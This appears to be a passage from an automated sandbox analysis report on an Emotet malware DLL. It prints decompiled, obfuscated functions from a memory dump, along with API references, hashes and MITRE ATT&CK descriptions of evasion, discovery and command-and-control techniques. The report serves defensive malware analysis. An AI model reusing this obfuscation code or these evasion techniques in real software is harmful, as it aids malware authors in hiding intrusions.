				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E006A8002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E006BE399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x006b020f
0x006b0212
0x006b0214
0x006b0217
0x006b021a
0x006b021d
0x006b021f
0x006b0224
0x006b0232
0x006b0235
0x006b0238
0x006b0239
0x006b023a
0x006b0246
0x006b0247
0x006b024c
0x006b0250
0x006b0257
0x006b025e
0x006b0265
0x006b0269
0x006b0270
0x006b0277
0x006b0285
0x006b028a
0x006b0291
0x006b0298
0x006b029f
0x006b02a9
0x006b02af
0x006b02b2
0x006b02d5
0x006b02e1
0x006b02e8

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 006B02E1

Strings

(Gt, xrefs: 006B025E

Memory Dump Source

Source File: 00000009.00000002.602326812.00000000006A0000.00000040.00000010.sdmp, Offset: 006A0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: 89d6487dbe459a105e44579769246bb92e7f464eb9e4cd66f8e29f3d4e06f41a
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 962166B5E00208FBEF04DFA4CC0A9DEBBB2FB44314F108199E515AB250D7B65A50DF90

Uniqueness

Uniqueness Score: -1.00%

Function 006AF3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E006AF3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E006BE399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x006af3fd
0x006af403
0x006af407
0x006af40e
0x006af415
0x006af422
0x006af423
0x006af429
0x006af42c
0x006af433
0x006af43a
0x006af441
0x006af448
0x006af44f
0x006af456
0x006af45d
0x006af464
0x006af46b
0x006af479
0x006af47c
0x006af495
0x006af49f

APIs

ExitProcess.KERNEL32(00000000), ref: 006AF49F

Memory Dump Source

Source File: 00000009.00000002.602326812.00000000006A0000.00000040.00000010.sdmp, Offset: 006A0000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: fd9a8de6b0d5a7dfbaf9c86ed61d65777d717fd24c59889ceebe18ea2200d414
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: A81106B1E1021DEBDF04DFE4C94A6EEBBB4FB14315F108188E521AA240E7B45B548F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 2gyA5uNl6VPQUA.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: svchost.exe PID: 5528 Parent PID: 572